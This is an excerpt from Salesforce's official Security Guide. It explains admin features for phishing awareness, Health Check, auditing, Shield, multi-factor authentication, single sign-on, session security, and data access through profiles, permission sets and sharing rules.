Chapter 1: Salesforce Security Guide

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Salesforce is built with security to protect your data and applications. You can also implement your own security scheme to reflect the structure and needs of your organization. Protecting your data is a joint responsibility between you and Salesforce. The Salesforce security features enable you to empower your users to do their jobs safely and efficiently.

In this chapter ...

- Salesforce Security Basics
- Authenticate Users
- Give Users Access to Data
- Share Objects and Fields
- Strengthen Your Data’s Security with Shield Platform Encryption
- Audit and Monitor Your Organization’s Security
- Real-Time Event Monitoring
- Security Guidelines for Apex and Visualforce Development
- API End-of-Life Policy
Salesforce Security Basics

The Salesforce security features help you empower your users to do their jobs safely and efficiently. Salesforce limits exposure of data to the users that act on it. Implement security controls that you think are appropriate for the sensitivity of your data. We’ll work together to protect your data from unauthorized access from outside your company and from inappropriate usage by your users.

IN THIS SECTION:

Phishing and Malware
If you see something suspicious related to your Salesforce implementation, report it to security@salesforce.com, in addition to your own IT or security team. Trust starts with transparency. That’s why Salesforce displays real-time information on system performance and security at https://trust.salesforce.com. For security-specific information, go to https://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and recent phishing and malware attempts, and tips on security best practices for your organization.

Security Health Check
As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A summary score shows how your org measures against a security baseline like the Salesforce Baseline Standard. You can upload up to five custom baselines to use instead of the Salesforce Baseline Standard.

Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. Salesforce auditing features don’t secure your organization by themselves. Have someone in your organization perform regular audits to detect potential abuse.

Salesforce Shield
Salesforce Shield is a trio of security tools that helps you build extra levels of trust, compliance, and governance right into your business-critical apps. It includes Shield Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce administrator if Salesforce Shield is available in your org.

Phishing and Malware
If you see something suspicious related to your Salesforce implementation, report it to security@salesforce.com, in addition to your own IT or security team. Trust starts with transparency. That’s why Salesforce displays real-time information on system performance and security at https://trust.salesforce.com. For security-specific information, go to https://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and recent phishing and malware attempts, and tips on security best practices for your organization.

The Security section of the Trust site includes valuable information that can help you safeguard your company’s data. In addition to security best practices, the site provides information on how to recognize and report phishing attempts and information on current malware campaigns that could impact Salesforce customers.

- Phishing is a social engineering technique that attempts to acquire sensitive information, such as usernames, passwords, and credit card details, by masquerading as a trustworthy person or entity. Phishing can occur via email, text messaging, voice calls, and other avenues. Phishers often direct targets to click a link and enter valuable information or to open an attachment with the goal of downloading malware onto the target’s device. As the Salesforce community grows, it becomes an increasingly appealing target for phishers. You’ll never get an email or a phone call from a Salesforce employee asking you to reveal your login credentials, so don’t reveal them to anyone. Report suspicious activities or emails regarding your Salesforce instance directly to the Salesforce Security team at security@salesforce.com.
Malware is software designed to infiltrate or damage a computer system without the owner’s informed consent. It’s a general term used to cover various forms of hostile or intrusive software, including computer viruses and spyware. For a list of current security advisories, go to https://trust.salesforce.com/en/security/security-advisories.

What Salesforce Is Doing About Phishing and Malware

Security is the foundation of our customers’ success, so Salesforce continues to implement the best possible practices and security technologies to protect our ecosystem. Recent and ongoing actions include:

• Actively monitoring and analyzing logs to enable alerts to our customers who have been affected.
• Collaborating with leading security vendors and experts on the most effective security tools.
• Ongoing security education and engagement activities for Salesforce employees.
• Creating processes for developing products with security in mind.
• Proactively sharing security best practices with customers and partners through trust.salesforce.com/security and other ongoing activities.

What Salesforce Recommends You Do

Salesforce is committed to setting the standards in software-as-a-service as an effective partner in customer security. In addition to our internal efforts, Salesforce strongly recommends that customers implement the following changes to enhance security.

• To safeguard access to your network, Salesforce requires that all logins use multi-factor authentication (MFA).
• To activate IP range restrictions, modify your Salesforce implementation. These restrictions allow users to access Salesforce only from your corporate network or VPN. For more information, see Set Trusted IP Ranges for Your Organization.
• Set session security restrictions to make spoofing more difficult. For more information, see Modify Session Security Settings.
• Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
• Use security solutions from leading vendors to deploy spam filtering and malware protection.
• Designate a security contact within your organization so that Salesforce can more effectively communicate with you. Contact your Salesforce representative with this information.
• Use Enhanced Transaction Security to monitor events and take appropriate actions. For more information, see Enhanced Transaction Security.

Salesforce has a Security Incident Response Team to respond to any security issues. To report a security incident or vulnerability to Salesforce, contact security@salesforce.com. Describe the issue in detail, and the team will respond promptly.

Email Awareness Best Practices

Phishing scams use fraudulent emails to get users to reveal confidential information. Such emails typically look like they come from a legitimate organization and can contain links to what appears to be that organization’s site. However, the site is actually a fake site designed to capture information.

As these scams get more sophisticated, it can be tough to know whether an email is real or fake. For example, phishing emails can include malicious links from Force.com domains. And Salesforce orgs that generate cases from inbound email can include malicious content from those emails in the cases themselves.

The best way to avoid becoming the victim of a phishing or malware attack is to know what to look for. We recommend that you apply the same best practices for cases generated through Salesforce as you do for phishing emails:

• Don’t click links or open attachments in emails and email-generated cases, unless you were expecting to receive it.
• Treat all emails and cases originating from external email addresses as potentially untrustworthy.
If an email or email-generated case contains messages instructing you to do any of the following, it’s most likely a phishing attempt:

- Click a link.
- Open an attachment.
- Validate your password.
- Log in to your account.
- Enter personal details or credentials.

If you receive a phishing email or Email-to-Case, delete it and notify your internal IT team. We appreciate your trust in us as we continue to make your success our top priority.

Security Health Check

As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A summary score shows how your org measures against a security baseline like the Salesforce Baseline Standard. You can upload up to five custom baselines to use instead of the Salesforce Baseline Standard.

From Setup, in the Quick Find box, enter Health Check, and then select Health Check.

EDITIONS

Available in: both Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

USER PERMISSIONS

To view Health Check and export custom baselines:

- View Health Check
  OR
  View Security Center
  Or
  Manage Security Center

To import custom baselines:

- Manage Health Check
  OR
  View Security Center
  Or
  Manage Security Center
In the baseline dropdown (1), choose the Salesforce Baseline Standard or a custom baseline. The baseline consists of recommended values for High-Risk, Medium-Risk, Low-Risk, and Informational Security Settings (2). If you change settings to be less restrictive than in the baseline, your health check score (3) and grade (4) decreases.

Your settings are shown with information about how they compare against baseline values (5). To remediate a risk, edit the setting (6) or use Fix Risks (7) to quickly change settings to your selected baseline’s recommended values without leaving the Health Check page.

You can import, export, edit, or delete a custom baseline with the baseline control menu (8).

Note: New settings to Security Health Check are added to the Salesforce Baseline Standard with default values. If you have a custom baseline, you’re prompted to add the new settings when you open it.

Example: Suppose that you changed your password minimum length from 8 (the default value) to 5, and changed other Password Policies settings to be less restrictive. These changes make your users’ passwords more vulnerable to guessing and other brute force attacks. As a result, your overall score decreases and the settings are listed as risks.

Fix Risks Limitations

Not all settings can be changed using the Fix Risks button. If a setting you want to adjust doesn’t appear on the Fix Risks screen, change it manually using the Edit link on the Health Check page. The Health Check detail page in the Security Center app saves you time by aggregating multiple Health Check scores and settings in one place. For more information, see Take Charge of Your Security Goals with Security Center.

SEE ALSO:

Salesforce Help: How Is the Health Check Score Calculated?
Create a Custom Baseline for Health Check
Custom Baseline File Requirements

Auditing

Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. Salesforce auditing features don’t secure your organization by themselves. Have someone in your organization perform regular audits to detect potential abuse.

To verify that your system is secure, monitor for unexpected changes or usage trends.
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. These fields provide basic auditing information.

Login History
You can review a list of successful and failed login attempts to your organization for the past 6 months.

Field History Tracking
You can enable auditing for individual fields, which automatically track any changes in the values of selected fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing.

Setup Audit Trail
Administrators can view a Setup Audit Trail, which logs when modifications are made to your organization’s configuration.

Salesforce Shield
Salesforce Shield is a trio of security tools that helps you build extra levels of trust, compliance, and governance right into your business-critical apps. It includes Shield Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce administrator if Salesforce Shield is available in your org.

Shield Platform Encryption
Shield Platform Encryption allows you to natively encrypt your most sensitive data at rest across all your Salesforce apps. Encrypting data at rest adds another layer of protection to PII, sensitive, confidential, or proprietary data. It also helps you meet external and internal data compliance policies while keeping critical app functionality such as search, workflow, and validation rules. You keep full control over encryption keys and can set encrypted data permissions to protect sensitive data from unauthorized users. See Shield Platform Encryption on page 89.

Real-Time Event Monitoring
Real-Time Event Monitoring gives you access to detailed performance, security, and usage data on all your Salesforce apps. See who is accessing critical business data when, and from where. Understand user adoption across your apps. Troubleshoot and optimize performance to improve end-user experience. Event Monitoring data is tracked via the API and can be imported into any data visualization or application monitoring tool, like Analytics, Splunk, or New Relic. To get started, check out our Event Monitoring training course.

Field Audit Trail
With Field Audit Trail, you know the state and value of your data for any date at any time. You can use it for regulatory compliance, internal governance, audit, or customer service. Field Audit trail is built on a big data backend for massive scalability, and you can use it to create a forensic data-level audit trail. See Field Audit Trail on page 189.

Einstein Data Detect
With Einstein Data Detect you can scan your org for sensitive data and then take steps to protect it. You expedite data categorization by aligning data sensitivity levels and categories to actual field data. And you no longer rely on third-party services or port your data outside of Salesforce. See Einstein Data Detect.
Shield Learning Map: Find Learning Resources and Documentation

The Shield Learning Map is a friendly, centralized resource for all things Shield. No matter which Shield product you buy or how you plan to use it, the learning map offers a clear path toward success. You can find links to the Shield Learning Map from Shield product documentation, or go directly to https://shieldlearningmap.com.

On the landing page, get oriented to Shield with Dreamforce presentations, videos, and overview documentation. Then click the trail to see resources—developer guides, how-to steps, Trailhead, and best practices—targeted at specific features and use cases. From planning security policies to putting those policies into action, the map offers you just-in-time information for all stages of your Shield journey.

And if you want to ask questions or find the latest information about Shield improvements, the map has you covered. The button bar at the bottom of the map offers links to Shield-specific Trailblazer Community groups, discussion forums, on-demand webinars, and release notes.

Authenticate Users

Authentication means preventing unauthorized access to your organization or its data by making sure each logged in user is who they say they are.

IN THIS SECTION:

Multi-Factor Authentication

Multi-factor authentication (MFA) is a secure authentication method that requires users to prove their identity by supplying two or more pieces of evidence (or factors) when they log in. One factor is something the user knows, such as their username and password. Other factors include something the user has, such as an authenticator app or security key. By tying user access to multiple types of factors, MFA makes it much harder for common threats like phishing attacks and account takeovers to succeed.

Single Sign-On

Single sign-on (SSO) is an authentication method that enables users to access multiple applications with one login and one set of credentials. For example, after users log in to your org, they can automatically access all apps from the App Launcher. You can set up your Salesforce org to trust a third-party identity provider to authenticate users. Or you can configure a third-party app to rely on your org for authentication.
Custom Login Flows
A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the login flow directs the user through a process such as enforcing strong authentication or collecting user information. When users complete the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users immediately.

Connected Apps
A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols, such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single sign-on (SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform, other platforms, devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from your Salesforce org, you’re using a connected app.

Manage User Passwords
Salesforce provides each of your users with a unique username and password that they enter at each login. As an admin, you can configure several settings to ensure that your users’ passwords are strong and secure.

Device Activation
With device activation, Salesforce challenges users to verify their identity when they log in from an unrecognized browser or device or from an IP address outside of a trusted range. By adding extra verification to unfamiliar login attempts, device activation keeps your orgs and Experience Cloud sites secure.

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks such as when one employee tries to use another employee’s session. Choose from several session settings to control session behavior.

Multi-Factor Authentication
Multi-factor authentication (MFA) is a secure authentication method that requires users to prove their identity by supplying two or more pieces of evidence (or factors) when they log in. One factor is something the user knows, such as their username and password. Other factors include something the user has, such as an authenticator app or security key. By tying user access to multiple types of factors, MFA makes it much harder for common threats like phishing attacks and account takeovers to succeed.

Note: MFA was formerly called two-factor authentication or 2FA.

As of February 1, 2022, Salesforce is requiring MFA for all users who log in to the Salesforce UI. For more information about this requirement, see Announcement of the Future Requirement to Enable Multi-Factor Authentication (MFA) and Salesforce Multi-Factor Authentication FAQ.

For help with understanding MFA, planning your MFA implementation, and preparing for org-wide adoption, see these resources.

- Salesforce Help: How to Roll Out Multi-Factor Authentication
- Trailhead Module: Secure Your Users’ Identity

For configuration steps, check out these sections in Salesforce Help.

- Multi-Factor Authentication Customizations
- Register Verification Methods for Multi-Factor Authentication
- Disconnect a User’s Verification Method
- Generate a Temporary Identity Verification Code
Delegate Multi-Factor Authentication Management Tasks

Single Sign-On

Single sign-on (SSO) is an authentication method that enables users to access multiple applications with one login and one set of credentials. For example, after users log in to your org, they can automatically access all apps from the App Launcher. You can set up your Salesforce org to trust a third-party identity provider to authenticate users. Or you can configure a third-party app to rely on your org for authentication.

Salesforce supports SSO with SAML and OpenID Connect. You can also use predefined authentication providers to set up SSO with third parties that use a custom authentication protocol, such as Facebook.

For more information on SSO use cases, terminology, and configuration steps, check out these sections in Salesforce Help.

- Single Sign-On Use Cases
- Single Sign-On Terminology
- Salesforce as a Service Provider
- Salesforce as an Identity Provider
- Salesforce as Both the Service Provider and Identity Provider

More Resources

Use these resources to help you understand and configure SSO.

SEE ALSO:

- Salesforce Help: FAQs for Single Sign-On
- Trailhead Module: User Authentication
- Salesforce Video: How to Configure SAML Single Sign-On with Salesforce as the Identity Provider

Custom Login Flows

A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the login flow directs the user through a process such as enforcing strong authentication or collecting user information. When users complete the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users immediately.

To learn more about login flow use cases and execution, see Custom Login Flows in Salesforce Help.

To create and manage login flows, check out these topics.

- Create a Login Flow with Flow Builder
- Create a Custom Login Flow with Visualforce
- Set Up a Login Flow and Connect to Profiles
- Login Flow Examples
- Limit the Number of Concurrent Sessions with Login Flows

For more information about the Flow Builder used to create login flows, see Flows in Salesforce Help.
Connected Apps

A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols, such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single sign-on (SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform, other platforms, devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from your Salesforce org, you’re using a connected app.

By capturing metadata about an external app, a connected app tells Salesforce which authentication protocol—SAML, OAuth, and OpenID Connect—the external app uses, and where the external app runs. Salesforce can then grant the external app access to its data, and attach policies that define access restrictions, such as when the app’s access expires. Salesforce can also audit connected app usage.

To learn more about how to use, configure, and manage connected apps, see the following topics in Salesforce Help:

- Connected App Use Cases
- Create a Connected App
- Edit a Connected App
- Manage Access to a Connected App

More Resources

Here are some additional resources to help you navigate connected apps:

- Salesforce Help: Connected Apps
- Salesforce Help: Authorize Apps with OAuth
- Trailhead: Build Integrations Using Connected Apps

Manage User Passwords

Salesforce provides each of your users with a unique username and password that they enter at each login. As an admin, you can configure several settings to ensure that your users’ passwords are strong and secure.

To learn more about managing user passwords, see these topics in Salesforce Help.

- Set Password Policies
- Reset Passwords for Your Users
- Expire Passwords for All Users

Device Activation

With device activation, Salesforce challenges users to verify their identity when they log in from an unrecognized browser or device or from an IP address outside of a trusted range. By adding extra verification to unfamiliar login attempts, device activation keeps your orgs and Experience Cloud sites secure.

To manage device activation settings and learn more about how it works, check out these topics in Salesforce Help.

- Device Activation
- Edit Session Settings in Profiles
Session Security

After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks such as when one employee tries to use another employee’s session. Choose from several session settings to control session behavior.

You can control when an inactive user session expires, set trusted IP address ranges, and restrict access to resources based on session security. To learn more about these session security features, see these topics.

- Modify Session Security Settings
- Set Trusted IP Ranges for Your Organization
- Require High-Assurance Session Security for Sensitive Operations

You can also monitor active sessions and session details through User Sessions. For more information, check out these topics.

- User Sessions
- User Session Types

More Resources

Use these resources to help you understand how more about how to protect your org with Session Security.

SEE ALSO:

Salesforce Help: Edit Session Settings in Profiles
Trailhead Module: Session-Based Permission Sets and Security

Give Users Access to Data

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your users.

IN THIS SECTION:

Control Who Sees What
Salesforce data sharing lets you expose specific data sets to individuals and groups of users. Permission sets, permission set groups, and profiles provide object-level and field-level security by controlling access. Record-level sharing settings, user roles, and sharing rules control the individual records that users can view and edit.

User Permissions
User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup and Configuration” permission can view Setup pages, and users with the “API Enabled” permission can access any Salesforce API.

Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage object permissions in permission sets and profiles.

Custom Permissions
Use custom permissions to give users access to custom processes or apps.
Profiles
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one.

Create a User Role
Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your Salesforce org’s data. Roles within the hierarchy affect access on key components such as records and reports.

Control Who Sees What
Salesforce data sharing lets you expose specific data sets to individuals and groups of users. Permission sets, permission set groups, and profiles provide object-level and field-level security by controlling access. Record-level sharing settings, user roles, and sharing rules control the individual records that users can view and edit.

**Note:** [Who Sees What: Overview (English only)]
Watch a demo on controlling access to and visibility of your data.

**Tip:** When implementing security and sharing rules for your organization, make a table of types of users. Specify the level of access to data required for each type. Indicate the access level for each object and for fields and records within the object. Then refer to this table as you set up your security model.

Object-Level Security (Permission Sets and Profiles)
Object-level security—or object permissions—provide the bluntest way to control data access. You can prevent a user from seeing, creating, editing, or deleting any instance of a particular object type, such as a lead or opportunity, by using object permissions. You can hide tabs and objects from selected users, so that they don’t even know that type of data exists.

You can specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and permissions that determine what a user can do in the application. The settings are similar to a group in a Windows network, where the members of the group have the same folder permissions and access to the same software.

Typically, profiles are defined by a user’s job function, such as Salesforce admin or sales representative. You can assign one profile to many users, but you can assign only one profile per user. You can use permission sets to grant more permissions and access settings to users. Now it’s easier to manage users’ permissions and access because you can assign multiple permission sets to a single user.

Field-Level Security (Permission Sets and Profiles)
Sometimes you want users to have access to an object while limiting their access to individual fields in that object. Field-level security—or field permissions—control whether a user can see, edit, and delete the value for a particular field on an object. You can protect sensitive fields without hiding the entire object. You also can control field permissions in permission sets and profiles.

Field permissions control the visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a user can’t access a particular field, use field permissions. No other settings provide as much protection for a field. Page layouts only control the visibility of fields on detail and edit pages.

**Note:** With some exceptions, search results aren’t returned for records with fields that an admin or end user can’t access because of field level security. For example, a user searches for Las Vegas in Accounts, but doesn’t have access to the Account fields Billing Address and Shipping Address. Salesforce does a keyword search, matching the terms Las Vegas, Las, and Vegas in the searchable fields. No results are returned for records that match only the Billing and Shipping Address fields because the user doesn’t have access to these fields. There are some fields that don’t enforce field level security and return search results.
Record-Level Security (Sharing)

After setting object- and field-level access permissions, you can configure access settings for records. Record-level security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the hierarchy. This access applies to records owned by users and records shared with them.

To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.

- Organization-wide sharing settings
  The first step in record-level security is to determine the organization-wide sharing settings for each object. Organization-wide sharing settings specify the default level of access that users have to each others’ records.
  You use organization-wide sharing settings to lock your data to the most restrictive level. Use the other record-level security and sharing tools to selectively give access to other users. For example, users have object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records, but can’t edit any unless they own the record or are granted other permissions.

- Role hierarchy
  After you specify organization-wide sharing settings, the first way to give wider access to records is with a role hierarchy. Similar to an organization chart, a role hierarchy is the level of data access that a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy can always access the same data as users who are lower, regardless of the organization-wide default settings. Each role in the hierarchy can represent a level of data access that a user or group of users needs rather than matching your organization chart.

  Similarly, you can use a territory hierarchy to share access to records. See Define Default User Access for Territory Records.

  Note: Although it’s easy to confuse permission sets and profiles with roles, they control two different things. Permission sets and profiles control a user’s object and field access permissions. Roles primarily control a user’s record-level access through role hierarchy and sharing rules.

- Sharing rules
  With sharing rules you can make automatic exceptions to organization-wide sharing settings for sets of users. Use sharing rules to give these users access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies, are only used to give more users access to records—they can’t be stricter than your organization-wide default settings.

- Manual sharing
  Sometimes it’s impossible to define a consistent group of users who need access to a particular set of records. Record owners can use manual sharing to give read and edit permissions to users who don’t have access any other way. Manual sharing isn’t automated like organization-wide sharing settings, role hierarchies, or sharing rules. But it gives record owners the flexibility to share records with users that must see them.

- User sharing
  With user sharing, you can show or hide an internal or external user from another user in your organization. User sharing rules are based on membership to a public group, role, or territory, so you must create the appropriate public groups, roles, or territories before creating user sharing rules. Each sharing rule shares members of a source group with members of the target group. Users inherit the same access as users below them in the role hierarchy.

- Apex managed sharing
  If sharing rules and manual sharing don’t provide the required control, you can use Apex managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing on a custom object, only users with the Modify All Data permission can add or change the sharing on the custom object’s record. The sharing access is maintained across record owner changes.
• Restriction rules
  When a restriction rule is applied to a user, the data that they had read access to via your sharing settings is further scoped to only records matching the record criteria that you set. This behavior is similar to how you can filter results in a list view or report, except that it’s permanent.

• Scoping rules
  With scoping rules you can set criteria to help your users see only records that are relevant to them. Scoping rules don’t restrict the record access that your users already have. They scope the records that your users see. Your users can still open and report on all records that they have access to per your sharing settings.

SEE ALSO:
Salesforce Help: Manage Data Access

User Permissions

User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup and Configuration” permission can view Setup pages, and users with the “API Enabled” permission can access any Salesforce API.

You can enable user permissions in permission sets and custom profiles. In permission sets and the enhanced profile user interface, these permissions—as well as their descriptions—are listed in the App Permissions or System Permissions pages. In the original profile user interface, user permissions are listed under Administrative Permissions and General User Permissions.

To view permissions and their descriptions, from Setup, enter Permission Sets in the Quick Find box, then select Permission Sets, then select or create a permission set. Then from the Permission Set Overview page, click App Permissions or System Permissions.

IN THIS SECTION:

User Permissions and Access
User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences between profiles and permission sets.

Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools and functions. Permission sets extend users’ functional access without changing their profiles and are the recommended way to manage your users’ permissions.
User Permissions and Access

User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences between profiles and permission sets.

User permissions and access settings specify what users can do within an organization:

- Permissions determine a user’s ability to edit an object record, view the Setup menu, permanently delete records in the Recycle Bin, or reset a user’s password.
- Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in.

Every user is assigned only one profile, but can also have multiple permission sets. When determining access for your users, use profiles to assign the minimum permissions and access settings for specific groups of users. Then use permission sets to grant more permissions as needed.

This table shows the types of permissions and access settings that are specified in profiles and permission sets.

<table>
<thead>
<tr>
<th>Permission or Setting Type</th>
<th>In Profiles?</th>
<th>In Permission Sets?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assigned apps</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Tab settings</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Record type assignments</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Page layout assignments</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Object permissions</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Field permissions</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>User permissions (app and system)</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Apex class access</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Visualforce page access</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>External data source access</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Service provider access (if Salesforce is enabled as an identity provider)</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Custom permissions</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Login hours</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Login IP ranges</td>
<td>✔️</td>
<td></td>
</tr>
</tbody>
</table>
IN THIS SECTION:

Revoke Permissions and Access

Use profiles and permission sets to grant access but not to deny access. Permission granted from either a profile or permission set is honored. For example, if Transfer Record isn’t enabled in a profile but is enabled in a permission set, she can transfer records regardless of whether she owns them. To revoke a permission, must remove all instances of the permission from the user.

<table>
<thead>
<tr>
<th>Action</th>
<th>Consequence</th>
</tr>
</thead>
<tbody>
<tr>
<td>Disable a permission or remove an access setting in the profile and any permission sets that are assigned to the user.</td>
<td>The permission or access setting is disabled for all other users assigned to the profile or permission sets.</td>
</tr>
<tr>
<td>If a permission or access setting is enabled in the user’s profile, assign a different profile to the user.</td>
<td>The user may lose other permissions or access settings associated with the profile or permission sets.</td>
</tr>
<tr>
<td>AND</td>
<td></td>
</tr>
<tr>
<td>If the permission or access setting is enabled in any permission sets that are assigned to the user, remove the permission set assignments from the user.</td>
<td></td>
</tr>
</tbody>
</table>

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned permission sets where the permission or access setting is enabled. Then, disable the permission or access setting, and assign the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that represents the largest number of users possible. Then create permission sets that grant more access.

Permission Sets

A permission set is a collection of settings and permissions that give users access to various tools and functions. Permission sets extend users’ functional access without changing their profiles and are the recommended way to manage your users’ permissions.

Users can have only one profile but, depending on the Salesforce edition, they can have multiple permission sets. You can assign permission sets to various types of users, regardless of their profiles.

Create permission sets to grant access for a specific job or task, regardless of the primary job function or title of the users they’re assigned to. For example, let’s say you have several users who must delete and transfer leads. You can create a permission set based on the tasks that these users must perform and include the permission set within permission set groups based on the users’ job functions.
If a permission isn’t enabled in a profile but is enabled in a permission set, users with that profile and permission set have the permission. For example, if Manage Password Policies isn’t enabled in a user’s profile but is enabled in one of their permission sets, they can manage password policies.

A permission set’s overview page provides an entry point for all of the permissions in a permission set. To open a permission set overview page, from Setup, enter Permission Sets in the Quick Find box, then select Permission Sets and select the permission set you want to view.

IN THIS SECTION:

Create and Edit Permission Set List Views
You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which “Modify All Data” is enabled.

Edit Permission Sets from a List View
You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.

App and System Settings in Permission Sets
In permission sets, permissions and settings are organized into app and system categories. These categories reflect the rights users need to administer and use system and app resources.

Permission Set Assigned Users Page
From the Assigned Users page, you can view all users who are assigned to a permission set, assign more users, and remove user assignments.

Search Permission Sets
To quickly navigate to other pages in a permission set, you can enter search terms in any permission set detail page.

View and EditAssigned Apps in Permission Sets
Assigned app settings specify the apps that users can select in the Lightning Platform app menu.

Assign Custom Record Types in Permission Sets
You can assign record types to users in permission sets.

Enable Custom Permissions in Permission Sets
Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in permission sets.

Manage Permission Set Assignments
You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any permission set page.
Create and Edit Permission Set List Views

You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which “Modify All Data” is enabled.

1. In the Permission Sets page, click Create New View, or select a view and click Edit.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True.
   a. Type a setting name, or click search icon to search for and select the setting you want.
   b. Choose a filter operator.
   c. Enter the value that you want to match.
   Tip: To show only permission sets with no user license, enter License for the Setting, set the Operator to equals, and enter “” in the Value field.
   d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows.
4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add up to 15 columns.
   a. From the Search picklist, select a setting type.
   b. Enter the first few letters of the setting you want to add and click Find.
   Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results.
5. Click Save, or if you’re cloning an existing view, rename it and click Save As.
Edit Permission Sets from a List View

You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.

**Note:** Use care when editing permission sets with this method. Making mass changes can have a widespread effect on users in your organization.

1. Select or create a list view that includes the permission sets and permissions you want to edit.
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on multiple pages, the selections on each page are remembered.
3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the selected permission sets.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission can also change other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a permission set and you disable “Transfer Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions.
5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected).
6. Click Save.

If you edit multiple permission sets, only the permission sets that support the permission you are editing change. For example, let’s say you use inline editing to enable “Modify All Data” in ten permission sets, but one permission set doesn’t have “Modify All Data.” In this case, “Modify All Data” is enabled in all the permission sets, except the one without “Modify All Data.”

Any changes you make are recorded in the setup audit trail.

App and System Settings in Permission Sets

In permission sets, permissions and settings are organized into app and system categories. These categories reflect the rights users need to administer and use system and app resources.

**App Settings**

Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let’s say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members.

